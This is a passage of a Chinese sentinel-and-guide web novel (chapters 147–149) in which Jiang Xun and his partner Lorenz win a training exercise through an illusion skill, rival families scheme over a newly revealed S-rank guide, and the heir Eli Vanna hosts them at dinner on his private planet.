“弗兰克少爷和桑扶本来就很强好吧！而且他们两人已经……匹配起来当然比夏因向导他们更默契啊。” “这个夏因，当初要是答应了弗兰克少爷，现在哪还有桑扶的事啊！之前感觉洛伦茨阁下也不错，现在看来还是比不上弗兰克少爷呀。” “嘘！小声点，你还评判上了？他们几个哪一个都不是咱们能惹得起的，吃你的饭吧！” 江寻与洛伦茨在众人的各色目光中，淡定地用完了午餐，在桑扶清脆的笑声中，时间来到了下午，他们迎来了今日的最后一个环节——模拟据点争夺。 所有小组被集合在同一片场地之中，场地中央的高地上升起了一个不断向外释放不规则强磁力的能量核心。同时，一队全副武装的防守方士兵，也依次就位，站上了高点的各个位置。 这是今天的最后一个项目，需要综合考验哨兵向导的协作能力与个人实力。要求在规定的时间内，突破模拟火力的封锁，登上高点触碰到能量核心。需要注意的是，所有学员不仅要躲避防守方的枪械攻击，还要抗住能量核心带来的强烈精神干扰。 一见这个项目内容，簇拥在弗兰克身边的几个哨兵便不怀好意地笑了起来。这样的环境下，显然更有利于他们发挥。 果然，开始的铃声刚一响起，江寻与洛伦茨两人便被一群突然涌上来的人流，挤到了人群最后方。在“不得进行直接接触性干扰”的规则下，即便洛伦茨是场中战力最高的人，也被死死地压制在最后，难以寸进。 尤其是在弗兰克与桑扶在众人的维护下，快速向前推进时，这种故意的骚扰更是被发挥到了顶峰。 桑扶拼尽全力，在跟上弗兰克速度的同时，将一层精神力化为稳定的屏障挡在对方身前，为他过滤阻挡掉大部分的精神干扰。巨大的消耗让他的脸色有点发白，但眼看着两人一步步占据上风，他的眼中充满了兴奋。 即便桑扶已经尽力，可他平日里使用技能多是为了完成课业，真正实践起来，凝聚出的屏障既薄弱又不稳定。表现在现实里就是，弗兰克获得的保护作用十分有限，还动不动就失效，在关键节点反而会经常干扰到他。 在这样的拙劣配合下，弗兰克的面色不太好看，但瞥了眼被死死压制在外围的江寻和洛伦茨，还是暂时压下了脾气，没有在这种时候当场发作。 可桑扶却丝毫没察觉到弗兰克此时的不耐，他的注意力全被这近在眼前的胜利吸引了过去，回头看向江寻的目光得意非常，语气雀跃又嘲弄：“这就是你的实力吗？也不过如此嘛！机会放在你眼前，都不知道珍惜，现在后悔也晚了，错过了就是错过了，你说对吗，夏因？” 话落，他的面上便因为兴奋泛起了一层红潮，得意地向后一靠，故意在江寻面前倚在了弗兰克身上。 江寻没有回应这幼稚的挑衅，他和洛伦茨二人不紧不慢地跟在所有人后面向前推进着，不时低头，查看一下时间。直到指针跳转到了某一个刻度上时，两人默契地对视了一眼。 下一秒，洛伦茨突然动了！他居然甩开了江寻，一个矮身前冲，便突破了围堵在两人身前的人墙，如鬼魅般绕到了高地的另一侧。随后，在赶上前来阻拦的人身前虚晃一枪，便再次避开了拦截，脚下一蹬，迅疾冲到了所有人最前方。 他的突然爆发，瞬间吸引到了防守方的注意，马上便有几名士兵调转了枪口向他瞄准过来。同时，弗兰克那边大部分人的注意力也被他吸引了过去。 就在这个瞬间，谁也没注意到的队伍最后方，江寻眼睛一闭，精神力高度汇聚了起来，下一刻，以他为起点，一股强大的精神冲击波被释放了出去，径直将他前方整个人群覆盖了进去。 “啊！什么……” “嘶！妈的，向导在干什么？你的精神屏障呢？！” 这道冲击波并不是用来攻击，而是扭曲与放大，这是他从那种来自黑街的奇特毒素身上得到的灵感。它能够干扰范围内人群的精神力运行逻辑，精神力越强，受到的影响反而越大。 这是江寻计划中要研究的下一个技能，具体的技能构建他还没有研究完全，如今只是初具雏形，他并不认为这种冲击可以影响到那些身经百战，同时意志也极度坚韧的哨兵，可对付这些基本没有上过战场的向导们，已经足够。 前方队伍中被哨兵们保护在身后的几名向导，顿时感觉自己释放出去的精神力，突然被一股混乱的湍流搅动了起来，辛苦在哨兵身上维持着的精神壁障随之震颤，纷纷扭曲了起来。更有本身就不甚熟练的低级向导，屏障直接完全崩解了开来，受其保护的哨兵当即一声闷哼，抱头半跪了下来。 场中瞬间陷入一片小范围的混乱之中。 而与此同时，洛伦茨身上覆盖着的那层屏障却异常坚韧而稳定，几乎将能量核心中释放出来的干扰屏蔽掉了一大半。 此消彼长之下，洛伦茨一举突破了人群，凭借着他绝对的速度与力量，如利刃一般撕开了面前的火力网，瞬间登上了据点，抬手触碰到了能量核心。 一切发生在电光火石之间，待弗兰克等人反应过来，追着洛伦茨试图阻拦的时候，早已来不及。再加上向导们一时之间根本无法重新建立起新的屏障，追赶而上的哨兵，在强烈的干扰下，水准大失，根本无力有效拦截。 眼见着洛伦茨甩下江寻抢先完成了项目，距高点几乎只有几步之遥的弗兰克面色彻底阴沉了下来。 他们不仅没有拦下洛伦茨，反倒替他扛下了大部分来自防守方的火力封锁，此刻迎着洛伦茨居高临下俯视下来的视线，弗兰克的怒火几乎灼烧了他的整个胸腔。 “弗兰克……”桑扶的脸色也不好看，他本身体能就一般，跟上弗兰克的步伐已经十分吃力，但此刻看到弗兰克的神色，还是硬着头皮劝慰道：“这是哨向协同演练，洛伦茨抛下了向导一个人到达终点根本没用，夏因现在没有哨兵协助，根本不可能越过我们上去。胜利一定还是属于我们的。” 桑扶的这番话语稍稍平息了一些弗兰克的怒气，他冷着目光瞥了桑扶一眼，还未重新构建起来的壁障在他身前忽明忽灭。 “那就快点给我把屏障重新撑起来！” 队伍暂停了推进，向导们开始重新为搭档构建起屏障，弗兰克看向被远远隔在人群最后的江寻，冷冷一笑。 回头见众人身上的屏障已经被重新构筑得差不多，时间也已经所剩无几，正要下令继续向上攀登。 忽然，一声清脆的铃声响彻整片场地。 “时间到！任务结束！”平直的电子音向众人砸下一颗惊雷。 什么……？ 众人愕然睁大了眼睛，为这突如其来的铃声与电子播报震惊不已。 下一刻，眼前的景象一花，远远落在所有人身后的那道人影周身一片光影变幻，从空气中凭空消失。而同样的一个人影，从空气中慢慢浮现，出现在了前方据点中，正笔直站立着的洛伦茨身畔。 看一眼腕间时钟上瞬间跳转的数字，再望一眼前方江寻唇角挂着的那丝若有若无的笑意，见识过更多高阶向导手段的弗兰克，脸上的从容和矜贵彻底碎裂。 他的脸色彻底铁青下来，声音几乎中牙缝中挤出来： “A级向导幻术技能，感官迷雾？！” “不敢当，”江寻微微一笑，语气平和地解释，“还做不到完全构建出新的环境欺骗掉这么多人，只能算是阉割版，稍稍改变了一点视觉感知而已。” 最后一个项目结束，积分被飞快自动结算了上去。本场演练中，唯有江寻和洛伦茨小组成功完成了任务。电子排行榜自动滚动更新，原本位居第五的江寻两人，名字瞬间跃升，一下子压过所有人，高居榜首。 “漂亮！”防守组的陪练人员们，亲眼目睹了眼前这场精彩的攻防轮转，忍不住低声喝彩。而桑扶等人，看着弗兰克怒火贲张的模样，噤若寒蝉，无一人敢在这时候凑上前去。 “好，很好！” 极度的恼怒和一种被当众羞辱的难堪，让弗兰克失去了惯有的风度。他猛地一把扯下了手腕上用来计时的腕带，狠厉的目光甩在了旁边，试图开口说些什么的桑扶身上，暴怒的低吼声让对方的面色瞬间惨白下来：“废物！身为向导，连一个幻境都看不出来！” 说完，他再也顾不上维持形象，铁青着脸，在一众惊愕的目光中，头也不回地大步离开，直接将桑扶扔在了原地。 桑扶僵在了原地，脸上刚刚因为占据上风而浮现的红晕尚未褪尽，便被一片惨白所取代。 他能感觉到四周投来的目光，如把把冰冷的尖刀般一下下狠狠扎在他的身上。 尤其当迎上高处江寻投来的那抹怜悯眼神时，极致的怨恨瞬间冲昏了他的头脑。 他猛地冲向了江寻，面目狰狞声音尖利：“夏因！你别太得意！你以为赢了一次演练就了不起了吗？！你以为现在有这么多人追捧着你，你就有多厉害吗？我告诉你！你的好日子马上就要到头了！” 他指着江寻，因为极度的激动，全身都在发抖：“你以为一个B级有多厉害？你也就是因为和他们的匹配度高一些，才能得他们多看几眼！甚至有的人，就算匹配度高也看不上你！你不是还匹配上了凡纳家的大少爷吗？！怎么没见他搭理过你呢？哈！等更厉害的人出现，你看看洛伦茨、季千钧他们还会不会多看你一眼！” “哈哈哈！”桑扶跨前一步，几乎抵上了江寻的面孔，扯出个恶意满满的笑，死死盯住江寻的眼睛：“你难道不知道吗？联盟出现了新的S级向导！真正的S级！和你一样年轻，但是实力是你永远也够不到的强大！等消息传开来，所有人！不管是来自凡纳家族的大少爷，还是那些最顶级的S级A级哨兵，他们都会像追逐太阳的飞蛾一样扑过去！” “到时候，谁还能记得你这个小小的B级向导？在他面前，你根本什么都不是！你现在还清高地拒绝这个拒绝那个？以后有你后悔的时候！你等着！你一定会摔得比我还惨！” 他一股脑地吼完，仿佛用尽了全部的力气，也不等江寻回应，狠狠在他身上推了一把，在更多人看过来之前，脸色难看地转身跑走。 江寻被他推得踉跄了一步，站在原地望着桑扶失控远去的背影，抿了抿唇。 看来关于他等级的消息已然传开，既然他的身份瞒不住凡纳家，那恐怕也瞒不住其他类似的家族。 与旁人所想象的欣喜不同，他并不为此觉得惊喜，只感到，山雨欲来，风满楼。 * 夜，雷欧家族宅邸书房。 厚重的天鹅绒窗帘隔绝了内外，壁炉中跃动的火光在帘幕上投下摇曳的光影。 柔和的古典台灯中，灯芯发出一声小小的爆鸣，随即被一只厚重的手掌拿着银剪利落剪去。 手臂放下，坐在宽大红木书桌后的人影转过了身来，看向垂首站立在桌前的长子。 弗兰克的脸上仍残留着白日里的失利带来的阴郁与不甘。而他的父亲，雷欧家族当代族长老雷欧先生，瞥过他面上的神情，却没有露出如预料中那般的疾言厉色。 老雷欧慢条斯理地托起桌面冒着热气的咖啡杯，轻轻抿了一口，目光重新落回弗兰克身上，充满了审视。 “今天的事情，我都听说了。”老雷欧的声音平稳，不辨喜怒，“输给一个平民哨兵和向导的组合，感觉如何？” 弗兰克攥紧了拳头，指甲几乎嵌进了掌心里，嘴唇嗫嚅几下，却没能说出辩解的话来。 “抬起头来，弗兰克。”老雷欧放下酒杯，看着面前的儿子，“你觉得这是奇耻大辱？不，我要告诉你，我像你这么大的时候，也遇到过这样的对手。不止是我，如今站在联盟最顶端的那些世家家主们，大部分在漫长的人生经历中，都遇到过各种各样惊才绝艳的对手。” “可是后来的结果如何呢？屹立到最后的，永远是家族！那些当年惊艳一时的人物，没有几个在经历大浪淘沙之后，还能持续闪耀出光彩的。”老雷欧喟叹了一声，似是想起了记忆中的某个身影，“你能早早遇到这样的一个对手，也是好事。你也该长大了！” “你要明白，你生来就是雷欧家族的继承人，你和那些平民从来都是不同的。”老雷欧点了点弗兰克，语重心长，“他们才是需要去靠自己争胜负的人，他们努力一生所求的，或许只是成为你手里一把趁手的工具。你的战场从来都不在那里，不要再把眼光局限在那点小孩子过家家的胜负之上了。” 他的身体微微前倾，语气加重了几分：“你要去争夺的，只有最好的东西。你的对手，只有那几个最顶尖的世家。其他的东西，统统都不值得让你再去耗费心神。” 弗兰克心神一震，抬首望向自己最尊敬的父亲。 “前两天黑街的事件，你听说了吧？”见弗兰克点头，老雷欧面上露出的那丝和蔼敛了下去，郑重说道，“愈灵殿上任殿主玛格丽特大人亲自调走了当时的现场影像，经过分析，那位化名‘希先生’的向导，精神力总量已经达到了S级的标准。虽然手法稚嫩，但他确实已经踏上了S级之路，而且是最为正统，潜力最大的‘寻道者’之路。” 弗兰克眼中闪过震惊。 什么？！ 此刻，困囿于白日失败中的心神再顾不得怨艾，皆被这个突如其来的确切消息彻底震撼。 S级？寻道者？！ 第148章 “真正的S级‘寻道者’， 这意味着什么，你应该明白。” 老雷欧的目光骤然锐利起来，一下子从一个和蔼的父亲， 瞬间转变为一个手握重权的家族掌门人， “联盟现有的两个S级向导， 一个垂垂老矣，另一个……呵！名不副实，这位新出现的年轻向导， 是足以改变现有格局的存在！” 他站起身来， 背对着弗兰克走到窗边，声音低沉却透着深沉的野心：“如果我们雷欧家能够抢先一步，获得他的青睐，那么，联盟中许多个顶级战力，可能都会因此与我们家族结下友谊， 这是多么庞大的一份人脉资源？！或许， 我们就能借此， 真正摆脱掉凡纳家附庸的身份，甚至有机会， 去和那个拥有S级哨兵的陆家，争一争那联盟第四家族的位置！” 弗兰克的心脏剧烈跳动了起来， 父亲描绘的蓝图如此宏大诱人，转瞬间便将他从白日的挫败感中拉了出来。 他的心中不由豁然开朗， 与整个家族的兴衰未来相比，同夏因、洛伦茨的那点意气之争，简直显得幼稚可笑，微不足道。 “所以， 你明白你的错误在哪了吗？”老雷欧转过身来，目光如炬地看向弗兰克，“在所有人都为着最大的利益努力的时候，你还在为一个区区B级向导，和平民哨兵争锋，甚至动用了上不得台面的小手段，结果还失败了？” 弗兰克的脸上火辣辣的，一遭被父亲点醒，再想到最近一段时间里做的那些蠢事，他不禁内心羞愧起来。 他深吸一口气，挺直了脊背，此刻，眼中的阴郁与愤怒尽去，取而代之的，是一种被重新点燃的野心。 “父亲，我知错了。”他的声音恢复了往常的沉稳，一字一句之间，果断而冷冽，那个矜贵优雅的继承人再度回归，“是我被追捧得昏了头，有所懈怠了。”他顿了顿，目光坚定地直视着父亲，“我会闭关一段时间冲击A阶。只有真正达到A阶，我才有资格，去参与那场最高层次的角逐。” 老雷欧的脸上终于露出了一抹满意的神色：“很好！这才像是雷欧家继承人的样子。圣所里的那些小事，你知道该怎么处理了吗？” “当然。”弗兰克微扬眼帘，“泥潭里的争夺，对我来说毫无意义。我的目标，只有天空最顶端的星辰！” * 第二天，哨向协同演练继续进行。 可今天，弗兰克却没有再出现在集合点。 一张措辞礼貌的假条被送到了莉亚导师面前，上面只写着，因有家族紧急事务需要处理，他无法再继续参加后续的演练。至于桑扶，他甚至没有留下只言片语。 桑扶独自一人站在场地边缘，看着周围成双成对已经开始准备的搭档小组，脸色由期待转为焦虑，最后化作彻底的惨白。 怎么会这样呢？他明明已经想好了对策，今天绝不会再上夏因的当，他们的优势那么大，本该胜过对方的，为什么弗兰克会直接放弃？ 他试图去联系弗兰克的私人号码，却只得到通讯被拒绝的提示。周围投来的目光，飘过耳畔的只言片语，仿佛全部化成了锋利的钢针，扎得他体无完肤。 最终，在课程正式开始之前，他只得咬着牙，在一片指指点点中狼狈地提前退出了此次协同演练。 而他以为的奇耻大辱，实际上也只在众人口中停留了不到十分钟，便被“新的神秘S级向导”的传言所取代，从所有人心中抹去了痕迹。 经过一夜的发酵，流言传播得更广了。因为不断冒出来的各种“知情人”，相应的细节也被所有人拼凑地越来越详尽。 此时，不仅学员们在交头接耳的议论，就连场地外围的一些工作人员，也三三两两地聚在了一起，交流着彼此获得的新线索。 “你也听说了吗？S级的……” “当然听说啦，现在不是到处都在传吗！听说是在黑街那边的，和那个有名的曲绍有点关系……” “什么呀，我还听说凡纳家的伊莱阁下也很看重他呢！” “真的假的？话说伊莱阁下是不是也没绑定向导……” 江寻和洛伦茨走过时，便能听到许多这样压低了声音的议论声。江寻微微垂下眼睫，仿佛什么都没有听到。 两人刚走到准备区，一个高挑的身影便拦在了面前。依然是爽朗的笑容和耀眼的红色短发，季千钧自然地向着两人打了个招呼，仿佛完全忘记了前两天刚刚被拒绝的事。 “夏因！”她的声音清脆，动作放开挥了挥手，傲人的身材吸引来了周围不少目光，“我又来啦！怎么样？听说你昨天被刁难了，洛伦茨一点儿忙也没帮上，还是全靠你自己的能力才反败为胜啊。”她戏谑地瞥了站在旁边的洛伦茨一眼，“今天要不要和我组队看看？我可比他强多了！” 话落，便目光灼灼地看向江寻。 “谢谢您的厚爱，季千钧女士。”江寻的脚步停下，向着季千钧微微颔首，可说辞依旧是那一句，“但是我已经和洛伦茨约好了的，抱歉。” “唔……” 出乎意料的，听到这里，季千钧的面色依然如常，不再像往日里那般与洛伦茨针锋相对。她脸上的笑容停顿了一下，之后，虽然仍然是那副笑模样，眼睛里却少了些热切的意思。 她双手交叉着往脑袋后面一垫，靠在了身后的墙面上，语气听起来很是轻松：“好吧，不选我你可别后悔！” 说完，她便靠在墙上不动了，只有目光似有若无地在场中扫视着，似乎她大老远的跑过来，就为了问这么一句话。 洛伦茨看着她这反常的举动，眼眸微微眯了起来，直到江寻踱步走开，这才走到季千钧的身侧，眼睛望着江寻的方向，口中压低声音，说道：“你也听说了？” 季千钧挑眉，侧头看向他，毫不避讳地点了点头：“当然！消息在塔里都要传疯了，想不知道都难吧？”说着，她歪了歪头，看着洛伦茨的表情，笑得有些意味深长，“怎么，洛伦茨首席也有什么想法？” 洛伦茨没理他的试探，语气平淡：“既然有了其他想法，又何必再来和我抢？” 季千钧嗤笑一声，摊了摊手，“消息这不是还没百分百确认吗？再说了，”她扬了扬下巴，指向不远处正在换上制式装备的江寻，“像夏因这样的B级都有这么多人抢，你觉得那个传说中的年轻S级，身后会有多少人追逐？我在其中又能有几分胜算？夏因已经是我能找到的最有可能和我绑定的向导了。总不能为了个还没影的事情，就先把手边最大可能的机会扔了吧？我又不傻。” “呵！”洛伦茨闻言，嘴角勾起一抹略带嘲讽的弧度：“你倒是惯会装样，看着豪爽不拘小节，实际上心里比谁算计得都清楚。” “啧！难道你不是吗？”季千钧反唇相讥，看向洛伦茨的目光锐利中带着嘲讽，“在夏因面前装装得了，别把自己也骗过去了。别告诉我你对S级向导的消息一点儿也不动心。你现在还留在这里，难道纯粹是因为对夏因痴心？” 洛伦茨看向季千钧的眼神一瞬变得冰寒，周身的温度也开始迅速降低，这一刻，他完全失去了这段时间以来在江寻面前表现出来的温和，恢复成了他本来的样子。 可季千钧见他这幅模样，反而哈哈大笑起来，同时，身上红光一闪，一股澎湃气场骤然爆开，将逼至自己面前的寒意一扫而空。 随即分毫不让地对视了回去。 这一刻，两人彼此间都能看到对方眼底沸腾的野心与欲望。 还是季千钧率先移开了目光，她无趣地撇了撇嘴，扭身就走，头也不回地对着他摆了摆手：“行了，不跟你扯了。这几天就让给你了，我明天就不来了，我得去打听看看那位新向导的消息。不然到时候连人都找不到，岂不是很可笑？你既然要留下，就在夏因身边守好，可别等我回来又被什么阿猫阿狗的插进来。” “这用不着你说！”洛伦茨不客气地回道，话毕，同样利落转身，快步跟上了已经走向训练区域的江寻，可细看他的眼眸深处，已掺杂进了一些别样的意味。 没了弗兰克与桑扶的处处针对，第二天的演练，很快顺利结束。可每个人心中却已各怀心思，空气中弥漫着一种山雨欲来的压抑。 * 最后一天的协同演练，在愈演愈烈的各种关于S级向导的流言蜚语中安静落下帷幕。 毫无悬念的，江寻与洛伦茨小组再次凭借着无可争议的默契与个人实力，蝉联积分榜第一，夺得此次演练的榜首。 当莉亚导师将赞许的目光投给江寻时，学员们看向他的眼神中，除了羡慕嫉妒之外，已经多出了一丝敬畏与崇拜。 从入学伊始便领先众人一步的实力，终于在成功力挫代表了家族权势的弗兰克与桑扶后，化作了再也无可争议的强大威信。 就在众人纷纷对着江寻二人表达了恭喜，准备乘坐飞艇返回哨兵岛之际，一位气质沉稳，衣着考究的中年男人，无声地出现在了场地边缘。 他一身深灰色燕尾服，一头褐发被一丝不苟地梳起，正是曾造访过江寻小诊所的凡纳家管家，劳伦斯。 劳伦斯的到来引起了一阵小范围的骚动，当他目标明确地向着江寻走来时，周遭的目光瞬间全部聚集了过来。 他的步幅如尺子量过一般精确，嘴角始终挂着一抹得体的微笑。身上明晃晃显露出的精英感，令周围的窃窃私语声都低了下去，所有人都在好奇，这个明显背景不一般的人，为何会亲自来到他们的训练场。 劳伦斯似是早已习惯了这样的瞩目，态度从容不迫，姿态无可挑剔，他缓步走到了江寻面前，这才微微躬身致意，声音温和清晰却不卑不亢：“夏因先生，您好，好久不见，冒昧打扰了。今日前来，谨代表我家少爷，恭喜您再次在演练中夺得桂冠。” 不待江寻回应，劳伦斯已经微笑着继续说道：“少爷得知了您前日的风采，特地委托我前来，诚挚邀请您拨冗共进晚餐，希望可以有机会与您深入交流。” 他说话时目光平静地注视着江寻，注意到对方轻蹙眉头的表情，又从容补充道：“少爷特意嘱咐，若您今晚不便，那他可以明日亲自前往圣所拜访，以表他的诚意。” 亲自来圣所？江寻正准备开口的话被堵在了喉咙里。今日对方还没有明确地表明自己的身份，可若是伊莱·凡纳明日真的出现在圣所之中，还点名要来找一个普通的学员，到时候，会引发的骚动和各种猜测流言他根本不用想象。 江寻沉默了片刻，便敏感地察觉到了四周渐渐安静下来的气氛，与若有若无落在他身上的目光，他再次看了一眼劳伦斯那双始终含笑的双眼，终于妥协地暗叹一口气，应了下来：“不必劳烦先生亲临了，今晚我有时间。” 听到这话，首先有反应的却是洛伦茨。他猛地扭头看向江寻，脸上写满了明晃晃的惊讶。 “太好了。”劳伦斯脸上的笑容加深，似乎早已预料到了江寻的回答。这时，才将目光转向了一旁面色微凝的洛伦茨，“这位就是洛伦茨阁下了吧？少爷交代，若是阁下有意，也欢迎一同前来，少爷十分欣赏来自圣所的青年才俊。” 一番话出口，还没见到人，洛伦茨便已经感受到了来自对方的压力。可是……洛伦茨看了看江寻，眼中闪过一道锐利的光芒，随即对着劳伦斯点了点头：“荣幸之至。” “请随我来。”劳伦斯闻言，躬身一引，一辆线条流畅，通体银灰的悬浮车，便无声地滑至三人面前。 随着“咔哒”一声轻响，车门向上扬起，便露出了内部宽敞舒适的空间来。 身后一直在关注着几人的人群，在这辆一看就不一般的悬浮车出现时，就爆发了一阵小小的骚动。直到看到三人鱼贯而入，悬浮车在一个无声的加速之后，快速地消失在了他们的视野尽头，议论声这才轰然炸开，许多新的流言自今日起诞生。 * 引擎启动的瞬间，江寻便感受到了身下座驾的不凡。 舒适的内饰与齐备的车内设施不用多说，加速过程中几乎让人察觉不到的颠簸与推背感，更是于细微处彰显出它的身价。 江寻本以为车子会带他们前往某个知名的餐厅或会所，可出乎他意料的是，悬浮车在十分钟后，停靠在了一处僻静的空港中，一艘外观同样低调内敛的小型穿梭舰正静候在一旁。 “这是……”江寻的眼眸微微睁大，看向劳伦斯，得到对方确认的点头后，还是忍不住顿了顿，心下咋舌。 这就叫做贫穷限制了想象力吗？他从没想过，吃一顿饭还需要乘坐穿梭舰。 叹出口气，既然已经应邀，江寻也不浪费时间，毫不迟疑地登上了穿梭舰，经过了差不多半个小时的航行后，舷窗外，出现了一颗笼罩在柔和光晕中的小型行星。 穿梭舰平稳降落在了专用泊口中，舱门打开，一股清新纯净的空气便扑面而来。 展现在几人眼前的，并非江寻曾看到过的任何一种星球的模样，而是一个明显经过了精心打造的生态花园。 放眼望去，视野尽头是一片起伏的圆润矮山和簇拥在山下，郁郁葱葱的森林。近处，是一片生机勃勃的，点缀着各色奇异花卉的草原。一条玉带般的蜿蜒清溪从左至右横穿整个草原，溪流环抱之中矗立着这片草原中唯一的一座建筑。 一阵微风从鼻尖拂过，带来一阵芬芳香气，风中还飘来隐约的虫鸣鸟叫声。 一条由浅色平滑石砖铺就的道路，一路从他们降落的登陆坪直通远方那栋优雅别致的建筑。劳伦斯一边引着江寻两人踏上道路，一边跟在左右，声音温和地为他们介绍起来： “夏因先生，洛伦茨先生，这里是‘静庭星’，少爷名下的一处私人疗养星。少爷考虑到您可能不喜欢喧闹，今日特意将晚宴设于此地。所有的侍从已经被提前安排妥当，不会出现在您的面前，今日的全部流程中，都将由我来为您二位服务，希望您能喜欢。” 江寻的目光扫过头顶巨大的生态天穹，他十分确定，这个星球原本的模样一定与现在相差甚远，甚至这里可能都不是一颗宜居星。但在难以计数的财富堆砌下，它被硬生生的地塑造成了如今的样子。 这种风格，与伊莱本人如出一辙。当你只看到最表面的一层时，会惊叹于它的舒适美好，可此时展现在你面前的美好其实不显得珍惜，不会让人一眼就发现其背后所耗费的巨大人力与物力。可当你稍微细致地观察一番，便能发现这看似寻常的景致下所蕴含的，令人震撼的权势与财富。 江寻知道这里主人的身份，尚且能够平静应对。可此时走在他身边的洛伦茨，尽管试图维持住镇定的表情，却已经面色发紧，浑身僵硬，无法抑制地泄露出了他内心的波涛汹涌。 他出身泥沼，凭借天赋、努力与那份攀爬的野心，一路走到哨兵学院首席的位置。一路走来，不论是各路天才还是世家权贵，都已经遇到过许多，自认见识已经不算浅薄。 但今天所见的这一切，依旧远远超出了他想象的极限。 这是一种建立在无数世代累积的权利与财富基础上的底蕴，绝非个人有限的生命中所能企及。他迄今为止为之奋斗的一切，在它的面前，犹如萤火比之皓月。 一股强烈的危机感在他心中疯狂滋生，一个名字从他最深的隐忧中浮现。 两人随着劳伦斯一路穿过精心打理的喷泉花园，步入尽头那栋雅致的建筑中。 整栋建筑，与外部的草地并无明确的院墙分隔，几根巨大的立柱撑起了他们走过的外廊，内部的房间并不多么奢华广大，却处处显露着舒适精致。 劳伦斯引着他们走过外廊，又穿过一道拱门，这才来到了拥有大片落地窗的客厅之中。 客厅中央，摆放着一组舒适的沙发小圆桌，一个人正背对他们而坐，似乎正在欣赏窗外的风景。 听到脚步声，那人缓缓转过了身来。 琥珀金的眼眸平静通透，俊美的面容带着典型的深邃轮廓，一身闲适的居家衣物，却仍散发着一种内敛而高贵的威严气质，正是几天前见过的凡纳家第一继承人，伊莱·凡纳。 他站起了身来，目光首先落在了江寻身上，微微颔首，向他露出一个微笑，语气中是一贯的平淡从容：“夏因先生，欢迎来到静庭，上一次见面公务繁忙，没有机会与你好好相识，希望这一次的冒昧邀请，没有打扰到你。” 他点到为止的说完这番话，绅士地将江寻引向面前的沙发：“路上辛苦了，请坐。” 让过江寻后，他这才再次抬起视线，淡淡扫过站在旁边的洛伦茨，没有一丝失礼，同样颔首致意：“洛伦茨先生，欢迎。” 洛伦茨早在看清面前男人的那一刻，便心中一紧。此刻，再见到对方对待两人的态度，心脏更是猛地一沉，最担忧的事发生了，那位管家口中所说的“少爷”，果真是这位与夏因匹配度高达89%的凡纳家大少爷，伊莱！ 不仅如此，这一次，他原以为两人只是试探性的见面，可对方的话中却透露出，他已经与夏因见过面。而且，伊莱不仅在邀请过后，亲自等候在这里，还从着装到态度，都显示出了对夏因的亲近。 他们竟是在自己不知道的时候，已经有所来往了吗？ 洛伦茨抿紧嘴唇，面色越发难看起来。对方这一次将自己也一同请过来，显然早有所料。 这场晚餐，恐怕比他预想的，还要麻烦得多。 第149章 劳伦斯管家脚步无声地开始上菜， 行动间动作标准又安静，连餐盘磕碰在桌面上都未曾发出一丝声响。 他将一个个纹刻着精美花纹的银质餐盘依次端上三人中间的小圆桌，每放下一道菜肴， 便微微后退半步， 目光低垂着垂手而立， 最大限度地减弱自己的存在感，让自身仿若隐形人一般融入背景之中。 一道道珍贵的菜肴按着顺序呈现在三人面前。 餐前酒是一种泛着点点星芒的淡金色液体，盛放在晶莹剔透的水晶杯中， 味道清爽微酸， 抿一口，便顷刻间扫除了口中所有余味。头盘是一种淡蓝色的晶莹鱼籽，颗粒饱满，一抿进口中便在舌尖轻轻爆开，极致的鲜味瞬间弥漫。主菜是一种难以辨识的兽肉，肉质极其鲜嫩多汁， 江寻甚至觉得它的主人一刻之前还在这片草原的某处奔跑。配菜他也没有见过， 泛着紫红色泽的叶片味道清甜爽口， 连餐后甜点都采用了一种通常只在滋养精神力的药剂中才会用到的特殊果实。 这些菜肴，江寻只能认出其中极少的一部分， 但他确信，它们每一道都价值不菲。然而在伊莱的宴席中， 它们的烹饪方式却是出乎意料的简单，甚至可以说是……家常？江寻找不到更合适的形容词。在三人面前， 这些十足珍贵的食材，就以最简单朴素的制作方式被呈现了出来，毫无花哨的摆盘或是复杂的调味。 他们不像在享用一顿奢华的大餐，倒像只是围坐在一起， 随意地吃了一顿日常的晚饭。 这种极端矛盾的风格，放在伊莱身上却显得异常合理。他就这么不着痕迹地将自己特殊的气质，刻印在了江寻与洛伦茨两人的心中。 伊莱用餐的姿态自然松弛，切割肉块的动作轻巧而优雅，每一次刀叉起落之间，听不到任何餐具碰撞的声音，咀嚼声也近乎于无。 江寻从小在奶奶的教导下，用餐礼仪方面从来不输于人，可此时看着伊莱，才恍然惊觉现代的普通人与传承已久的世家贵胄之间，在日常教养上竟存在如此巨大的差距。 伊莱用餐时几乎不会出声，也不去过度关注同桌的两人。只偶尔抬眼看向江寻，目光中带着一种几不可察的审视，却又在对方发现之前淡淡移开。 “这道蓝鳍鱼籽产自北境冰海，”正用着餐食，伊莱忽然开了口，手中的银叉适时挑起几粒淡蓝色鱼籽，声音中还含着一些笑意，似乎只是在自言自语地感慨，“每年只有等蓝鳍鱼群迁徙，才能获得不到三天的捕捞期，而且取出的鱼籽即使马上密封冷藏，也只有不到六天的保存期限，十分难得。” “劳伦斯，负责捕捞的船队就是你家的吧？”伊莱笑问，“我记得很多年前就守在那里了？” “是的，大少爷。”劳伦斯微微踏前一步，却并没有抬头，他知道这时候该如何应答，“从我的曾祖父至今，已经四代了。” “已经这么久了啊。”伊莱说话时并没有看着任何人，似乎只是突然想起来，随口一提，可这对话中蕴含着的分量，却让洛伦茨手中的餐叉微微一顿。 之后，气氛重新安静了下来，似乎什么也没发生过。 可偏偏是这种安静平淡，形成了一种几乎令人窒息的压迫感，沉沉地压在洛伦茨的心头。这个看似寻常的房间里，从阳光照射进来的角度，到空气中流动的气息，每一分，每一处，似乎都在无声地诉说着此地主人的无上权威。 直到最后，餐后酒被送了上来，那是一种色泽瑰丽的红色酒液，奇异又悠长的醇香随着每一次酒杯的晃动，被散发出来，熏得人陶陶然不知所以。 洛伦茨手握着冰冷的杯脚，手指微微用力，哽在喉间的疑问终于打破了这状似和谐的沉默：“伊莱阁下，恕我冒昧，晚餐也要吃完了，您今天这么大费周章地邀请我们过来，又如此盛情款待，究竟是要做什么？” 他抬起眼迎向伊莱那双始终含着淡淡笑意的眼眸，声音有些干涩，面色紧绷，如临大敌。 从他们接受邀请开始，这一路上的所见所闻，那隐于背后的庞大资源与财力，都如同沉重的山岳，压在他的心头，令他几乎喘不过气来，每一分每一秒看似平静的时间里，都让他对伊莱的警惕更添一分。 伊莱噙着杯沿的唇角微微弯起一个弧度，转瞬间又消失无踪。他信手放下酒杯，十指交叉着置于膝上，上身舒展地向后靠进了柔软的沙发靠背中，并没有因为洛伦茨这近乎直白的质问而生气，反而像是面对顽皮的小孩子一般，露出安抚一笑。 